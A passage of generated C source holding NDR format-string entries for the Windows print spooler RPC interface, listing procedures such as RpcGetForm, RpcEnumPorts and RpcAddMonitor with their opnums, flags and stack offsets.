1022 | /* 1158 */ NdrFcLong( 0x0 ), /* 0 */
1023 | /* 1162 */ NdrFcShort( 0x1f ), /* 31 */
1024 | /* 1164 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1025 | /* 1166 */ 0x32, /* FC_BIND_PRIMITIVE */
1026 | 0x0, /* 0 */
1027 | /* 1168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1028 | /* 1170 */ NdrFcShort( 0x0 ), /* 0 */
1029 | /* 1172 */ NdrFcShort( 0x8 ), /* 8 */
1030 | /* 1174 */ 0x44, /* Oi2 Flags: has return, has ext, */
1031 | 0x1, /* 1 */
1032 | /* 1176 */ 0xa, /* 10 */
1033 | 0x1, /* Ext Flags: new corr desc, */
1034 | /* 1178 */ NdrFcShort( 0x0 ), /* 0 */
1035 | /* 1180 */ NdrFcShort( 0x0 ), /* 0 */
1036 | /* 1182 */ NdrFcShort( 0x0 ), /* 0 */
1037 | /* 1184 */ NdrFcShort( 0x0 ), /* 0 */
1038 |
1039 | /* Return value */
1040 |
1041 | /* 1186 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1042 | /* 1188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1043 | /* 1190 */ 0x8, /* FC_LONG */
1044 | 0x0, /* 0 */
1045 |
1046 | /* Procedure RpcGetForm */
1047 |
1048 | /* 1192 */ 0x0, /* 0 */
1049 | 0x48, /* Old Flags: */
1050 | /* 1194 */ NdrFcLong( 0x0 ), /* 0 */
1051 | /* 1198 */ NdrFcShort( 0x20 ), /* 32 */
1052 | /* 1200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1053 | /* 1202 */ 0x32, /* FC_BIND_PRIMITIVE */
1054 | 0x0, /* 0 */
1055 | /* 1204 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1056 | /* 1206 */ NdrFcShort( 0x0 ), /* 0 */
1057 | /* 1208 */ NdrFcShort( 0x8 ), /* 8 */
1058 | /* 1210 */ 0x44, /* Oi2 Flags: has return, has ext, */
1059 | 0x1, /* 1 */
1060 | /* 1212 */ 0xa, /* 10 */
1061 | 0x1, /* Ext Flags: new corr desc, */
1062 | /* 1214 */ NdrFcShort( 0x0 ), /* 0 */
1063 | /* 1216 */ NdrFcShort( 0x0 ), /* 0 */
1064 | /* 1218 */ NdrFcShort( 0x0 ), /* 0 */
1065 | /* 1220 */ NdrFcShort( 0x0 ), /* 0 */
1066 |
1067 | /* Return value */
1068 |
1069 | /* 1222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1070 | /* 1224 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1071 | /* 1226 */ 0x8, /* FC_LONG */
1072 | 0x0, /* 0 */
1073 |
1074 | /* Procedure RpcSetForm */
1075 |
1076 | /* 1228 */ 0x0, /* 0 */
1077 | 0x48, /* Old Flags: */
1078 | /* 1230 */ NdrFcLong( 0x0 ), /* 0 */
1079 | /* 1234 */ NdrFcShort( 0x21 ), /* 33 */
1080 | /* 1236 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1081 | /* 1238 */ 0x32, /* FC_BIND_PRIMITIVE */
1082 | 0x0, /* 0 */
1083 | /* 1240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1084 | /* 1242 */ NdrFcShort( 0x0 ), /* 0 */
1085 | /* 1244 */ NdrFcShort( 0x8 ), /* 8 */
1086 | /* 1246 */ 0x44, /* Oi2 Flags: has return, has ext, */
1087 | 0x1, /* 1 */
1088 | /* 1248 */ 0xa, /* 10 */
1089 | 0x1, /* Ext Flags: new corr desc, */
1090 | /* 1250 */ NdrFcShort( 0x0 ), /* 0 */
1091 | /* 1252 */ NdrFcShort( 0x0 ), /* 0 */
1092 | /* 1254 */ NdrFcShort( 0x0 ), /* 0 */
1093 | /* 1256 */ NdrFcShort( 0x0 ), /* 0 */
1094 |
1095 | /* Return value */
1096 |
1097 | /* 1258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1098 | /* 1260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1099 | /* 1262 */ 0x8, /* FC_LONG */
1100 | 0x0, /* 0 */
1101 |
1102 | /* Procedure RpcEnumForms */
1103 |
1104 | /* 1264 */ 0x0, /* 0 */
1105 | 0x48, /* Old Flags: */
1106 | /* 1266 */ NdrFcLong( 0x0 ), /* 0 */
1107 | /* 1270 */ NdrFcShort( 0x22 ), /* 34 */
1108 | /* 1272 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1109 | /* 1274 */ 0x32, /* FC_BIND_PRIMITIVE */
1110 | 0x0, /* 0 */
1111 | /* 1276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1112 | /* 1278 */ NdrFcShort( 0x0 ), /* 0 */
1113 | /* 1280 */ NdrFcShort( 0x8 ), /* 8 */
1114 | /* 1282 */ 0x44, /* Oi2 Flags: has return, has ext, */
1115 | 0x1, /* 1 */
1116 | /* 1284 */ 0xa, /* 10 */
1117 | 0x1, /* Ext Flags: new corr desc, */
1118 | /* 1286 */ NdrFcShort( 0x0 ), /* 0 */
1119 | /* 1288 */ NdrFcShort( 0x0 ), /* 0 */
1120 | /* 1290 */ NdrFcShort( 0x0 ), /* 0 */
1121 | /* 1292 */ NdrFcShort( 0x0 ), /* 0 */
1122 |
1123 | /* Return value */
1124 |
1125 | /* 1294 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1126 | /* 1296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1127 | /* 1298 */ 0x8, /* FC_LONG */
1128 | 0x0, /* 0 */
1129 |
1130 | /* Procedure RpcEnumPorts */
1131 |
1132 | /* 1300 */ 0x0, /* 0 */
1133 | 0x48, /* Old Flags: */
1134 | /* 1302 */ NdrFcLong( 0x0 ), /* 0 */
1135 | /* 1306 */ NdrFcShort( 0x23 ), /* 35 */
1136 | /* 1308 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1137 | /* 1310 */ 0x32, /* FC_BIND_PRIMITIVE */
1138 | 0x0, /* 0 */
1139 | /* 1312 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1140 | /* 1314 */ NdrFcShort( 0x0 ), /* 0 */
1141 | /* 1316 */ NdrFcShort( 0x8 ), /* 8 */
1142 | /* 1318 */ 0x44, /* Oi2 Flags: has return, has ext, */
1143 | 0x1, /* 1 */
1144 | /* 1320 */ 0xa, /* 10 */
1145 | 0x1, /* Ext Flags: new corr desc, */
1146 | /* 1322 */ NdrFcShort( 0x0 ), /* 0 */
1147 | /* 1324 */ NdrFcShort( 0x0 ), /* 0 */
1148 | /* 1326 */ NdrFcShort( 0x0 ), /* 0 */
1149 | /* 1328 */ NdrFcShort( 0x0 ), /* 0 */
1150 |
1151 | /* Return value */
1152 |
1153 | /* 1330 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1154 | /* 1332 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1155 | /* 1334 */ 0x8, /* FC_LONG */
1156 | 0x0, /* 0 */
1157 |
1158 | /* Procedure RpcEnumMonitors */
1159 |
1160 | /* 1336 */ 0x0, /* 0 */
1161 | 0x48, /* Old Flags: */
1162 | /* 1338 */ NdrFcLong( 0x0 ), /* 0 */
1163 | /* 1342 */ NdrFcShort( 0x24 ), /* 36 */
1164 | /* 1344 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1165 | /* 1346 */ 0x32, /* FC_BIND_PRIMITIVE */
1166 | 0x0, /* 0 */
1167 | /* 1348 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1168 | /* 1350 */ NdrFcShort( 0x0 ), /* 0 */
1169 | /* 1352 */ NdrFcShort( 0x8 ), /* 8 */
1170 | /* 1354 */ 0x44, /* Oi2 Flags: has return, has ext, */
1171 | 0x1, /* 1 */
1172 | /* 1356 */ 0xa, /* 10 */
1173 | 0x1, /* Ext Flags: new corr desc, */
1174 | /* 1358 */ NdrFcShort( 0x0 ), /* 0 */
1175 | /* 1360 */ NdrFcShort( 0x0 ), /* 0 */
1176 | /* 1362 */ NdrFcShort( 0x0 ), /* 0 */
1177 | /* 1364 */ NdrFcShort( 0x0 ), /* 0 */
1178 |
1179 | /* Return value */
1180 |
1181 | /* 1366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1182 | /* 1368 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1183 | /* 1370 */ 0x8, /* FC_LONG */
1184 | 0x0, /* 0 */
1185 |
1186 | /* Procedure Opnum37NotUsedOnWire */
1187 |
1188 | /* 1372 */ 0x0, /* 0 */
1189 | 0x48, /* Old Flags: */
1190 | /* 1374 */ NdrFcLong( 0x0 ), /* 0 */
1191 | /* 1378 */ NdrFcShort( 0x25 ), /* 37 */
1192 | /* 1380 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1193 | /* 1382 */ 0x32, /* FC_BIND_PRIMITIVE */
1194 | 0x0, /* 0 */
1195 | /* 1384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1196 | /* 1386 */ NdrFcShort( 0x0 ), /* 0 */
1197 | /* 1388 */ NdrFcShort( 0x0 ), /* 0 */
1198 | /* 1390 */ 0x40, /* Oi2 Flags: has ext, */
1199 | 0x0, /* 0 */
1200 | /* 1392 */ 0xa, /* 10 */
1201 | 0x1, /* Ext Flags: new corr desc, */
1202 | /* 1394 */ NdrFcShort( 0x0 ), /* 0 */
1203 | /* 1396 */ NdrFcShort( 0x0 ), /* 0 */
1204 | /* 1398 */ NdrFcShort( 0x0 ), /* 0 */
1205 | /* 1400 */ NdrFcShort( 0x0 ), /* 0 */
1206 |
1207 | /* Procedure Opnum38NotUsedOnWire */
1208 |
1209 | /* 1402 */ 0x0, /* 0 */
1210 | 0x48, /* Old Flags: */
1211 | /* 1404 */ NdrFcLong( 0x0 ), /* 0 */
1212 | /* 1408 */ NdrFcShort( 0x26 ), /* 38 */
1213 | /* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1214 | /* 1412 */ 0x32, /* FC_BIND_PRIMITIVE */
1215 | 0x0, /* 0 */
1216 | /* 1414 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1217 | /* 1416 */ NdrFcShort( 0x0 ), /* 0 */
1218 | /* 1418 */ NdrFcShort( 0x0 ), /* 0 */
1219 | /* 1420 */ 0x40, /* Oi2 Flags: has ext, */
1220 | 0x0, /* 0 */
1221 | /* 1422 */ 0xa, /* 10 */
1222 | 0x1, /* Ext Flags: new corr desc, */
1223 | /* 1424 */ NdrFcShort( 0x0 ), /* 0 */
1224 | /* 1426 */ NdrFcShort( 0x0 ), /* 0 */
1225 | /* 1428 */ NdrFcShort( 0x0 ), /* 0 */
1226 | /* 1430 */ NdrFcShort( 0x0 ), /* 0 */
1227 |
1228 | /* Procedure RpcDeletePort */
1229 |
1230 | /* 1432 */ 0x0, /* 0 */
1231 | 0x48, /* Old Flags: */
1232 | /* 1434 */ NdrFcLong( 0x0 ), /* 0 */
1233 | /* 1438 */ NdrFcShort( 0x27 ), /* 39 */
1234 | /* 1440 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1235 | /* 1442 */ 0x32, /* FC_BIND_PRIMITIVE */
1236 | 0x0, /* 0 */
1237 | /* 1444 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1238 | /* 1446 */ NdrFcShort( 0x0 ), /* 0 */
1239 | /* 1448 */ NdrFcShort( 0x8 ), /* 8 */
1240 | /* 1450 */ 0x44, /* Oi2 Flags: has return, has ext, */
1241 | 0x1, /* 1 */
1242 | /* 1452 */ 0xa, /* 10 */
1243 | 0x1, /* Ext Flags: new corr desc, */
1244 | /* 1454 */ NdrFcShort( 0x0 ), /* 0 */
1245 | /* 1456 */ NdrFcShort( 0x0 ), /* 0 */
1246 | /* 1458 */ NdrFcShort( 0x0 ), /* 0 */
1247 | /* 1460 */ NdrFcShort( 0x0 ), /* 0 */
1248 |
1249 | /* Return value */
1250 |
1251 | /* 1462 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1252 | /* 1464 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1253 | /* 1466 */ 0x8, /* FC_LONG */
1254 | 0x0, /* 0 */
1255 |
1256 | /* Procedure RpcCreatePrinterIC */
1257 |
1258 | /* 1468 */ 0x0, /* 0 */
1259 | 0x48, /* Old Flags: */
1260 | /* 1470 */ NdrFcLong( 0x0 ), /* 0 */
1261 | /* 1474 */ NdrFcShort( 0x28 ), /* 40 */
1262 | /* 1476 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1263 | /* 1478 */ 0x32, /* FC_BIND_PRIMITIVE */
1264 | 0x0, /* 0 */
1265 | /* 1480 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1266 | /* 1482 */ NdrFcShort( 0x0 ), /* 0 */
1267 | /* 1484 */ NdrFcShort( 0x8 ), /* 8 */
1268 | /* 1486 */ 0x44, /* Oi2 Flags: has return, has ext, */
1269 | 0x1, /* 1 */
1270 | /* 1488 */ 0xa, /* 10 */
1271 | 0x1, /* Ext Flags: new corr desc, */
1272 | /* 1490 */ NdrFcShort( 0x0 ), /* 0 */
1273 | /* 1492 */ NdrFcShort( 0x0 ), /* 0 */
1274 | /* 1494 */ NdrFcShort( 0x0 ), /* 0 */
1275 | /* 1496 */ NdrFcShort( 0x0 ), /* 0 */
1276 |
1277 | /* Return value */
1278 |
1279 | /* 1498 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1280 | /* 1500 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1281 | /* 1502 */ 0x8, /* FC_LONG */
1282 | 0x0, /* 0 */
1283 |
1284 | /* Procedure RpcPlayGdiScriptOnPrinterIC */
1285 |
1286 | /* 1504 */ 0x0, /* 0 */
1287 | 0x48, /* Old Flags: */
1288 | /* 1506 */ NdrFcLong( 0x0 ), /* 0 */
1289 | /* 1510 */ NdrFcShort( 0x29 ), /* 41 */
1290 | /* 1512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1291 | /* 1514 */ 0x32, /* FC_BIND_PRIMITIVE */
1292 | 0x0, /* 0 */
1293 | /* 1516 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1294 | /* 1518 */ NdrFcShort( 0x0 ), /* 0 */
1295 | /* 1520 */ NdrFcShort( 0x8 ), /* 8 */
1296 | /* 1522 */ 0x44, /* Oi2 Flags: has return, has ext, */
1297 | 0x1, /* 1 */
1298 | /* 1524 */ 0xa, /* 10 */
1299 | 0x1, /* Ext Flags: new corr desc, */
1300 | /* 1526 */ NdrFcShort( 0x0 ), /* 0 */
1301 | /* 1528 */ NdrFcShort( 0x0 ), /* 0 */
1302 | /* 1530 */ NdrFcShort( 0x0 ), /* 0 */
1303 | /* 1532 */ NdrFcShort( 0x0 ), /* 0 */
1304 |
1305 | /* Return value */
1306 |
1307 | /* 1534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1308 | /* 1536 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1309 | /* 1538 */ 0x8, /* FC_LONG */
1310 | 0x0, /* 0 */
1311 |
1312 | /* Procedure RpcDeletePrinterIC */
1313 |
1314 | /* 1540 */ 0x0, /* 0 */
1315 | 0x48, /* Old Flags: */
1316 | /* 1542 */ NdrFcLong( 0x0 ), /* 0 */
1317 | /* 1546 */ NdrFcShort( 0x2a ), /* 42 */
1318 | /* 1548 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1319 | /* 1550 */ 0x32, /* FC_BIND_PRIMITIVE */
1320 | 0x0, /* 0 */
1321 | /* 1552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1322 | /* 1554 */ NdrFcShort( 0x0 ), /* 0 */
1323 | /* 1556 */ NdrFcShort( 0x8 ), /* 8 */
1324 | /* 1558 */ 0x44, /* Oi2 Flags: has return, has ext, */
1325 | 0x1, /* 1 */
1326 | /* 1560 */ 0xa, /* 10 */
1327 | 0x1, /* Ext Flags: new corr desc, */
1328 | /* 1562 */ NdrFcShort( 0x0 ), /* 0 */
1329 | /* 1564 */ NdrFcShort( 0x0 ), /* 0 */
1330 | /* 1566 */ NdrFcShort( 0x0 ), /* 0 */
1331 | /* 1568 */ NdrFcShort( 0x0 ), /* 0 */
1332 |
1333 | /* Return value */
1334 |
1335 | /* 1570 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1336 | /* 1572 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1337 | /* 1574 */ 0x8, /* FC_LONG */
1338 | 0x0, /* 0 */
1339 |
1340 | /* Procedure Opnum43NotUsedOnWire */
1341 |
1342 | /* 1576 */ 0x0, /* 0 */
1343 | 0x48, /* Old Flags: */
1344 | /* 1578 */ NdrFcLong( 0x0 ), /* 0 */
1345 | /* 1582 */ NdrFcShort( 0x2b ), /* 43 */
1346 | /* 1584 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1347 | /* 1586 */ 0x32, /* FC_BIND_PRIMITIVE */
1348 | 0x0, /* 0 */
1349 | /* 1588 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1350 | /* 1590 */ NdrFcShort( 0x0 ), /* 0 */
1351 | /* 1592 */ NdrFcShort( 0x0 ), /* 0 */
1352 | /* 1594 */ 0x40, /* Oi2 Flags: has ext, */
1353 | 0x0, /* 0 */
1354 | /* 1596 */ 0xa, /* 10 */
1355 | 0x1, /* Ext Flags: new corr desc, */
1356 | /* 1598 */ NdrFcShort( 0x0 ), /* 0 */
1357 | /* 1600 */ NdrFcShort( 0x0 ), /* 0 */
1358 | /* 1602 */ NdrFcShort( 0x0 ), /* 0 */
1359 | /* 1604 */ NdrFcShort( 0x0 ), /* 0 */
1360 |
1361 | /* Procedure Opnum44NotUsedOnWire */
1362 |
1363 | /* 1606 */ 0x0, /* 0 */
1364 | 0x48, /* Old Flags: */
1365 | /* 1608 */ NdrFcLong( 0x0 ), /* 0 */
1366 | /* 1612 */ NdrFcShort( 0x2c ), /* 44 */
1367 | /* 1614 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1368 | /* 1616 */ 0x32, /* FC_BIND_PRIMITIVE */
1369 | 0x0, /* 0 */
1370 | /* 1618 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1371 | /* 1620 */ NdrFcShort( 0x0 ), /* 0 */
1372 | /* 1622 */ NdrFcShort( 0x0 ), /* 0 */
1373 | /* 1624 */ 0x40, /* Oi2 Flags: has ext, */
1374 | 0x0, /* 0 */
1375 | /* 1626 */ 0xa, /* 10 */
1376 | 0x1, /* Ext Flags: new corr desc, */
1377 | /* 1628 */ NdrFcShort( 0x0 ), /* 0 */
1378 | /* 1630 */ NdrFcShort( 0x0 ), /* 0 */
1379 | /* 1632 */ NdrFcShort( 0x0 ), /* 0 */
1380 | /* 1634 */ NdrFcShort( 0x0 ), /* 0 */
1381 |
1382 | /* Procedure Opnum45NotUsedOnWire */
1383 |
1384 | /* 1636 */ 0x0, /* 0 */
1385 | 0x48, /* Old Flags: */
1386 | /* 1638 */ NdrFcLong( 0x0 ), /* 0 */
1387 | /* 1642 */ NdrFcShort( 0x2d ), /* 45 */
1388 | /* 1644 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1389 | /* 1646 */ 0x32, /* FC_BIND_PRIMITIVE */
1390 | 0x0, /* 0 */
1391 | /* 1648 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1392 | /* 1650 */ NdrFcShort( 0x0 ), /* 0 */
1393 | /* 1652 */ NdrFcShort( 0x0 ), /* 0 */
1394 | /* 1654 */ 0x40, /* Oi2 Flags: has ext, */
1395 | 0x0, /* 0 */
1396 | /* 1656 */ 0xa, /* 10 */
1397 | 0x1, /* Ext Flags: new corr desc, */
1398 | /* 1658 */ NdrFcShort( 0x0 ), /* 0 */
1399 | /* 1660 */ NdrFcShort( 0x0 ), /* 0 */
1400 | /* 1662 */ NdrFcShort( 0x0 ), /* 0 */
1401 | /* 1664 */ NdrFcShort( 0x0 ), /* 0 */
1402 |
1403 | /* Procedure RpcAddMonitor */
1404 |
1405 | /* 1666 */ 0x0, /* 0 */
1406 | 0x48, /* Old Flags: */
1407 | /* 1668 */ NdrFcLong( 0x0 ), /* 0 */
1408 | /* 1672 */ NdrFcShort( 0x2e ), /* 46 */
1409 | /* 1674 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1410 | /* 1676 */ 0x32, /* FC_BIND_PRIMITIVE */
1411 | 0x0, /* 0 */
1412 | /* 1678 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1413 | /* 1680 */ NdrFcShort( 0x0 ), /* 0 */
1414 | /* 1682 */ NdrFcShort( 0x8 ), /* 8 */
1415 | /* 1684 */ 0x44, /* Oi2 Flags: has return, has ext, */
1416 | 0x1, /* 1 */
1417 | /* 1686 */ 0xa, /* 10 */
1418 | 0x1, /* Ext Flags: new corr desc, */
1419 | /* 1688 */ NdrFcShort( 0x0 ), /* 0 */
1420 | /* 1690 */ NdrFcShort( 0x0 ), /* 0 */
1421 | /* 1692 */ NdrFcShort( 0x0 ), /* 0 */
1422 | /* 1694 */ NdrFcShort( 0x0 ), /* 0 */
1423 |
1424 | /* Return value */
1425 |
1426 | /* 1696 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1427 | /* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1428 | /* 1700 */ 0x8, /* FC_LONG */
1429 | 0x0, /* 0 */
1430 |
1431 | /* Procedure RpcDeleteMonitor */
1432 |
1433 | /* 1702 */ 0x0, /* 0 */
1434 | 0x48, /* Old Flags: */
1435 | /* 1704 */ NdrFcLong( 0x0 ), /* 0 */
1436 | /* 1708 */ NdrFcShort( 0x2f ), /* 47 */
1437 | /* 1710 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1438 | /* 1712 */ 0x32, /* FC_BIND_PRIMITIVE */
1439 | 0x0, /* 0 */
1440 | /* 1714 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1441 | /* 1716 */ NdrFcShort( 0x0 ), /* 0 */
1442 | /* 1718 */ NdrFcShort( 0x8 ), /* 8 */
1443 | /* 1720 */ 0x44, /* Oi2 Flags: has return, has ext, */
1444 | 0x1, /* 1 */
1445 | /* 1722 */ 0xa, /* 10 */
1446 | 0x1, /* Ext Flags: new corr desc, */
1447 | /* 1724 */ NdrFcShort( 0x0 ), /* 0 */
1448 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */
1449 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */
1450 | /* 1730 */ NdrFcShort( 0x0 ), /* 0 */
1451 |
1452 | /* Return value */
1453 |
1454 | /* 1732 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1455 | /* 1734 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1456 | /* 1736 */ 0x8, /* FC_LONG */
1457 | 0x0, /* 0 */
1458 |
1459 | /* Procedure RpcDeletePrintProcessor */
1460 |
1461 | /* 1738 */ 0x0, /* 0 */
1462 | 0x48, /* Old Flags: */
1463 | /* 1740 */ NdrFcLong( 0x0 ), /* 0 */
1464 | /* 1744 */ NdrFcShort( 0x30 ), /* 48 */
1465 | /* 1746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1466 | /* 1748 */ 0x32, /* FC_BIND_PRIMITIVE */
1467 | 0x0, /* 0 */
1468 | /* 1750 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1469 | /* 1752 */ NdrFcShort( 0x0 ), /* 0 */
1470 | /* 1754 */ NdrFcShort( 0x8 ), /* 8 */
1471 | /* 1756 */ 0x44, /* Oi2 Flags: has return, has ext, */
1472 | 0x1, /* 1 */
1473 | /* 1758 */ 0xa, /* 10 */
1474 | 0x1, /* Ext Flags: new corr desc, */
1475 | /* 1760 */ NdrFcShort( 0x0 ), /* 0 */
1476 | /* 1762 */ NdrFcShort( 0x0 ), /* 0 */
1477 | /* 1764 */ NdrFcShort( 0x0 ), /* 0 */
1478 | /* 1766 */ NdrFcShort( 0x0 ), /* 0 */
1479 |
1480 | /* Return value */
1481 |
1482 | /* 1768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1483 | /* 1770 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1484 | /* 1772 */ 0x8, /* FC_LONG */
1485 | 0x0, /* 0 */
1486 |
1487 | /* Procedure Opnum49NotUsedOnWire */
1488 |
1489 | /* 1774 */ 0x0, /* 0 */
1490 | 0x48, /* Old Flags: */
1491 | /* 1776 */ NdrFcLong( 0x0 ), /* 0 */
1492 | /* 1780 */ NdrFcShort( 0x31 ), /* 49 */
1493 | /* 1782 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1494 | /* 1784 */ 0x32, /* FC_BIND_PRIMITIVE */
1495 | 0x0, /* 0 */
1496 | /* 1786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1497 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */
1498 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */
1499 | /* 1792 */ 0x40, /* Oi2 Flags: has ext, */
1500 | 0x0, /* 0 */
1501 | /* 1794 */ 0xa, /* 10 */
1502 | 0x1, /* Ext Flags: new corr desc, */
1503 | /* 1796 */ NdrFcShort( 0x0 ), /* 0 */
1504 | /* 1798 */ NdrFcShort( 0x0 ), /* 0 */
1505 | /* 1800 */ NdrFcShort( 0x0 ), /* 0 */
1506 | /* 1802 */ NdrFcShort( 0x0 ), /* 0 */
1507 |
1508 | /* Procedure Opnum50NotUsedOnWire */
1509 |
1510 | /* 1804 */ 0x0, /* 0 */
1511 | 0x48, /* Old Flags: */
1512 | /* 1806 */ NdrFcLong( 0x0 ), /* 0 */
1513 | /* 1810 */ NdrFcShort( 0x32 ), /* 50 */
1514 | /* 1812 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1515 | /* 1814 */ 0x32, /* FC_BIND_PRIMITIVE */
1516 | 0x0, /* 0 */
1517 | /* 1816 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1518 | /* 1818 */ NdrFcShort( 0x0 ), /* 0 */
1519 | /* 1820 */ NdrFcShort( 0x0 ), /* 0 */
1520 | /* 1822 */ 0x40, /* Oi2 Flags: has ext, */
1521 | 0x0, /* 0 */
1522 | /* 1824 */ 0xa, /* 10 */
1523 | 0x1, /* Ext Flags: new corr desc, */
1524 | /* 1826 */ NdrFcShort( 0x0 ), /* 0 */
1525 | /* 1828 */ NdrFcShort( 0x0 ), /* 0 */
1526 | /* 1830 */ NdrFcShort( 0x0 ), /* 0 */
1527 | /* 1832 */ NdrFcShort( 0x0 ), /* 0 */
1528 |
1529 | /* Procedure RpcEnumPrintProcessorDatatypes */
1530 |
1531 | /* 1834 */ 0x0, /* 0 */
1532 | 0x48, /* Old Flags: */
1533 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */
1534 | /* 1840 */ NdrFcShort( 0x33 ), /* 51 */
1535 | /* 1842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1536 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */
1537 | 0x0, /* 0 */
1538 | /* 1846 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1539 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */
1540 | /* 1850 */ NdrFcShort( 0x8 ), /* 8 */
1541 | /* 1852 */ 0x44, /* Oi2 Flags: has return, has ext, */
1542 | 0x1, /* 1 */
1543 | /* 1854 */ 0xa, /* 10 */
1544 | 0x1, /* Ext Flags: new corr desc, */
1545 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */
1546 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */
1547 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */
1548 | /* 1862 */ NdrFcShort( 0x0 ), /* 0 */
1549 |
1550 | /* Return value */
1551 |
1552 | /* 1864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1553 | /* 1866 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1554 | /* 1868 */ 0x8, /* FC_LONG */
1555 | 0x0, /* 0 */
1556 |
1557 | /* Procedure RpcResetPrinter */
1558 |
1559 | /* 1870 */ 0x0, /* 0 */
1560 | 0x48, /* Old Flags: */
1561 | /* 1872 */ NdrFcLong( 0x0 ), /* 0 */
1562 | /* 1876 */ NdrFcShort( 0x34 ), /* 52 */
1563 | /* 1878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
1564 | /* 1880 */ 0x32, /* FC_BIND_PRIMITIVE */
1565 | 0x0, /* 0 */
1566 | /* 1882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1567 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */
1568 | /* 1886 */ NdrFcShort( 0x8 ), /* 8 */
1569 | /* 1888 */ 0x44, /* Oi2 Flags: has return, has ext, */
1570 | 0x1, /* 1 */
1571 | /* 1890 */ 0xa, /* 10 */
1572 | 0x1, /* Ext Flags: new corr desc, */
1573 | /* 1892 */ NdrFcShort( 0x0 ), /* 0 */
